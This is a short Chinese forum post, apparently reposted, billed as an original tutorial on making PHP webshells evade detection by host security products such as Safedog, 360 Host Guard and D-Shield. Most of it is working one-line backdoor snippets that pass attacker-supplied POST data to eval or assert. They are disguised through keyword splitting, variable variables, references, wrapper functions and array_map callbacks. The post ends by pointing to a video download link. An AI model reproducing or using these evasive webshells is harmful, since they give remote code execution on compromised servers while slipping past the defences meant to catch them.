1. 程式人生 > >php免殺教程【絕對原創】

php免殺教程【絕對原創】

這個絕對原創! + 首發!


個人認為免殺大致分為這幾個方面:


1.關鍵字拆分。

         比如assert,可以寫成 'a'.'ss'.'e'.'r'.'t'這樣。

2.可變變數、引用、可變函式。

        可變變數  比如$a=$_POST['x'];$b='a';@eval($$b);

        引用  比如$a=$_POST['x'];$b=&$a;@eval($b);

        可變函式  比如$a='a'.'ss'.'e'.'r'.'t';$a($_POST['x']);

3.新增其他程式碼。

         新增其他程式碼  比如  if(empty($a))

                                       {
                                              $a=$_POST['x'];
                                       }

                                                  @eval($a);

4.函式替換。

        使用其他函式,比如eval可以使用assert替換。

5.封裝到新的函式中。

       新定義一個函式,使其封裝到新函式中。

       function test($a){   //定義一個名為test的函式,並使用$a接受引數

               eval($a);

}

        test($_POST['x']);

6.函式回撥。

       使用其他函式進行呼叫,並執行。

       如:array_map('a'.'s'.'se'.'r'.'t',array($_POST['x']));

詳細教程 + 測試結果(安全狗+360主機衛士+D盾)  請看視訊教程。

視訊教程下載地址:

http://pan.baidu.com/s/1boKws83

本文來源地址:http://bbs.ichunqiu.com/thread-8964-1-1.html?from=bjy